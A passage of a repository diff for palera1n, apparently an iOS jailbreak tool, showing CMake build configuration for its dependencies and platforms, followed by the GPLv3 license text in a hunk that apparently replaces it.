XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "${CMAKE_SOURCE_DIR}/resources/entitlements.xml"
|
||||
)
|
||||
elseif(MINGW AND WITH_GUI)
|
||||
set(APP_MANIFEST_RC "${CMAKE_SOURCE_DIR}/resources/app.rc")
|
||||
add_executable(palera1n WIN32 ${SOURCES} ${APP_MANIFEST_RC})
|
||||
else()
|
||||
add_executable(palera1n ${SOURCES})
|
||||
endif()
|
||||
|
||||
target_include_directories(palera1n PRIVATE "${DEPS_PREFIX}/include")
|
||||
target_link_directories(palera1n PRIVATE "${DEPS_PREFIX}/lib")
|
||||
target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json)
|
||||
|
||||
if(WITH_RAMDISK)
|
||||
target_compile_definitions(palera1n PRIVATE WITH_RAMDISK)
|
||||
endif()
|
||||
if(WITH_BINPACK)
|
||||
target_compile_definitions(palera1n PRIVATE WITH_BINPACK)
|
||||
endif()
|
||||
if(WITH_GUI)
|
||||
target_link_libraries(palera1n PRIVATE ${WX_LIBRARIES})
|
||||
target_compile_definitions(palera1n PRIVATE WITH_GUI)
|
||||
endif()
|
||||
if(WITH_TUI)
|
||||
target_compile_definitions(palera1n PRIVATE WITH_TUI)
|
||||
endif()
|
||||
if(WITH_CIDERRAIN)
|
||||
target_compile_definitions(palera1n PRIVATE WITH_CIDERRAIN)
|
||||
endif()
|
||||
|
||||
include("${CMAKE_CURRENT_SOURCE_DIR}/cmake/Git.cmake")
|
||||
|
||||
# =========================
|
||||
# MARK: LINKS
|
||||
# =========================
|
||||
|
||||
if(APPLE)
|
||||
find_library(IOKIT IOKit)
|
||||
find_library(COREFOUNDATION CoreFoundation)
|
||||
find_library(SECURITY Security)
|
||||
target_link_libraries(palera1n PRIVATE ${IOKIT} ${COREFOUNDATION} ${SECURITY})
|
||||
endif()
|
||||
|
||||
if(WIN32)
|
||||
target_link_libraries(palera1n PRIVATE setupapi cfgmgr32)
|
||||
endif()
|
||||
|
||||
# =========================
|
||||
# MARK: NON-CMAKE DEPENDENCIES (LOCAL)
|
||||
# =========================
|
||||
|
||||
# ra1ns
|
||||
if(WITH_CIDERRAIN)
|
||||
include("${CMAKE_CURRENT_SOURCE_DIR}/cmake/Ciderra1n.cmake")
|
||||
else()
|
||||
include("${CMAKE_CURRENT_SOURCE_DIR}/cmake/Openra1n.cmake")
|
||||
endif()
|
||||
|
||||
# idevice
|
||||
if(WITH_GUI OR WITH_TUI)
|
||||
include("${CMAKE_CURRENT_SOURCE_DIR}/cmake/Idevice.cmake")
|
||||
endif()
|
||||
|
||||
# =========================
|
||||
# MARK: NON-CMAKE DEPENDENCIES
|
||||
# =========================
|
||||
|
||||
if(WITH_STATIC)
|
||||
find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config)
|
||||
|
||||
set(BASE_CFLAGS "-g -I${DEPS_PREFIX}/include -L${DEPS_PREFIX}/lib")
|
||||
set(BASE_LDFLAGS "-g -L${DEPS_PREFIX}/lib")
|
||||
|
||||
if(LINUX)
|
||||
set(PLATFORM_CFLAGS "-fdata-sections -ffunction-sections -D_FILE_OFFSET_BITS=64 -D_TIME_BITS=64")
|
||||
set(PLATFORM_LDFLAGS "-Wl,--gc-sections -fdata-sections -ffunction-sections")
|
||||
elseif(APPLE)
|
||||
set(PLATFORM_CFLAGS "")
|
||||
set(PLATFORM_LDFLAGS "-Wl,-dead_strip")
|
||||
else()
|
||||
set(PLATFORM_CFLAGS "")
|
||||
set(PLATFORM_LDFLAGS "")
|
||||
endif()
|
||||
|
||||
set(SYSROOT_ENV_FLAG "")
|
||||
if(CMAKE_SYSROOT)
|
||||
set(SYSROOT_ENV_FLAG "--sysroot=${CMAKE_SYSROOT}")
|
||||
endif()
|
||||
|
||||
set(PKG_ENV
|
||||
env
|
||||
"CC=${CMAKE_C_COMPILER}"
|
||||
"CXX=${CMAKE_CXX_COMPILER}"
|
||||
PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
|
||||
PKG_CONFIG_PATH=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
PKG_CONFIG_LIBDIR=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
|
||||
|
||||
CFLAGS=${BASE_CFLAGS}\ ${PLATFORM_CFLAGS}\ ${SYSROOT_ENV_FLAG}
|
||||
CPPFLAGS=-I${DEPS_PREFIX}/include
|
||||
LDFLAGS=${BASE_LDFLAGS}\ ${PLATFORM_LDFLAGS}\ ${SYSROOT_ENV_FLAG}
|
||||
|
||||
C_INCLUDE_PATH=${DEPS_PREFIX}/include
|
||||
CPLUS_INCLUDE_PATH=${DEPS_PREFIX}/include
|
||||
|
||||
mbedtls_INCLUDES=${DEPS_PREFIX}/include
|
||||
mbedtls_LIBDIR=${DEPS_PREFIX}/lib
|
||||
mbedtls_LIBS=-lmbedtls\ -lmbedx509\ -lmbedcrypto
|
||||
|
||||
lt_cv_deplibs_check_method=pass_all
|
||||
lt_cv_file_magic_cmd=/usr/bin/file
|
||||
cross_compiling=yes
|
||||
)
|
||||
|
||||
if(MINGW)
|
||||
set(IMD_AUTOTOOLS_ARGS --disable-static --enable-shared)
|
||||
else()
|
||||
set(IMD_AUTOTOOLS_ARGS --enable-static --disable-shared)
|
||||
if(CROSS_HOST_TRIPLE)
|
||||
list(APPEND IMD_AUTOTOOLS_ARGS "--host=${CROSS_HOST_TRIPLE}" "--build=${AUTOTOOLS_BUILD_TRIPLE}")
|
||||
endif()
|
||||
set(MBEDUTILS_ARGS --with-mbedtls)
|
||||
endif()
|
||||
|
||||
if((LINUX OR MINGW) AND NOT WITH_CIDERRAIN)
|
||||
ExternalProject_Add(libusb_ep
|
||||
GIT_REPOSITORY https://github.com/libusb/libusb.git
|
||||
GIT_TAG v1.0.30
|
||||
UPDATE_COMMAND ""
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh -l ./autogen.sh --prefix=${DEPS_PREFIX} --disable-udev ${IMD_AUTOTOOLS_ARGS}
|
||||
BUILD_COMMAND make -j
|
||||
INSTALL_COMMAND make install
|
||||
BUILD_IN_SOURCE 1
|
||||
)
|
||||
|
||||
add_dependencies(palera1n libusb_ep)
|
||||
endif()
|
||||
|
||||
if(LINUX)
|
||||
ExternalProject_Add(ncurses_ep
|
||||
URL https://ftp.gnu.org/pub/gnu/ncurses/ncurses-6.4.tar.gz
|
||||
CONFIGURE_COMMAND
|
||||
${PKG_ENV}
|
||||
sh <SOURCE_DIR>/configure
|
||||
--prefix=${DEPS_PREFIX}
|
||||
${IMD_AUTOTOOLS_ARGS}
|
||||
--disable-stripping
|
||||
--enable-overwrite
|
||||
--enable-widec
|
||||
--with-default-terminfo-dir=${DEPS_PREFIX}/share/terminfo
|
||||
--with-terminfo-dirs=${DEPS_PREFIX}/share/terminfo
|
||||
BUILD_COMMAND make -j
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND
|
||||
${CMAKE_COMMAND} -E env ${PKG_ENV}
|
||||
sh -c
|
||||
"make install TERMINFO=${DEPS_PREFIX}/share/terminfo && \
|
||||
ln -sf ${DEPS_PREFIX}/lib/libncursesw.a ${DEPS_PREFIX}/lib/libncurses.a && \
|
||||
ln -sf ${DEPS_PREFIX}/lib/libtinfow.a ${DEPS_PREFIX}/lib/libtinfo.a"
|
||||
)
|
||||
|
||||
add_dependencies(palera1n ncurses_ep)
|
||||
endif()
|
||||
|
||||
if(MINGW)
|
||||
if(NOT WITH_CIDERRAIN)
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
usb-1.0
|
||||
)
|
||||
endif()
|
||||
|
||||
set(DLLS
|
||||
libstdc++-6.dll
|
||||
libgcc_s_seh-1.dll
|
||||
libwinpthread-1.dll
|
||||
)
|
||||
|
||||
if(NOT WITH_CIDERRAIN)
|
||||
list(APPEND DLLS
|
||||
libusb-1.0.dll
|
||||
)
|
||||
endif()
|
||||
|
||||
execute_process(
|
||||
COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin"
|
||||
OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
)
|
||||
|
||||
# all dlls must be in the same directory as the executable
|
||||
foreach(DLL ${DLLS})
|
||||
add_custom_command(TARGET palera1n POST_BUILD
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different
|
||||
"${MSYSTEM_PREFIX_WIN}/${DLL}"
|
||||
$<TARGET_FILE_DIR:palera1n>
|
||||
)
|
||||
endforeach()
|
||||
else()
|
||||
if(LINUX)
|
||||
target_compile_options(palera1n PRIVATE "-static")
|
||||
target_link_options(palera1n PRIVATE "-static")
|
||||
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
"${DEPS_PREFIX}/lib/libncurses.a"
|
||||
)
|
||||
if(NOT WITH_CIDERRAIN)
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
"${DEPS_PREFIX}/lib/libusb-1.0.a"
|
||||
)
|
||||
endif()
|
||||
elseif(APPLE)
|
||||
if(WITH_TUI)
|
||||
find_package(Curses REQUIRED)
|
||||
target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS})
|
||||
target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES})
|
||||
endif()
|
||||
endif()
|
||||
endif()
|
||||
else()
|
||||
if(WITH_TUI)
|
||||
find_package(Curses REQUIRED)
|
||||
target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS})
|
||||
target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES})
|
||||
endif()
|
||||
|
||||
if(NOT APPLE AND NOT WITH_CIDERRAIN)
|
||||
pkg_check_modules(LIBUSB REQUIRED libusb-1.0)
|
||||
target_include_directories(palera1n PRIVATE ${LIBUSB_INCLUDE_DIRS})
|
||||
target_link_libraries(palera1n PRIVATE ${LIBUSB_LIBRARIES})
|
||||
target_compile_options(palera1n PRIVATE ${LIBUSB_CFLAGS_OTHER})
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# =========================
|
||||
# MARK: STRIP FLAGS
|
||||
# =========================
|
||||
|
||||
if(CMAKE_BUILD_TYPE STREQUAL "Release")
|
||||
if(APPLE)
|
||||
target_link_options(palera1n PRIVATE
|
||||
-Wl,-dead_strip
|
||||
-Wl,-x
|
||||
)
|
||||
elseif(MINGW)
|
||||
target_link_options(palera1n PRIVATE
|
||||
-Wl,--gc-sections
|
||||
-Wl,--strip-all
|
||||
)
|
||||
elseif(LINUX)
|
||||
target_link_options(palera1n PRIVATE
|
||||
-Wl,--gc-sections
|
||||
-Wl,--strip-all
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# =========================
|
||||
# MARK: INSTALL
|
||||
# =========================
|
||||
|
||||
include("${CMAKE_CURRENT_SOURCE_DIR}/cmake/BuildInstall.cmake")
|
||||
|
||||
@@ -1,674 +1,20 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
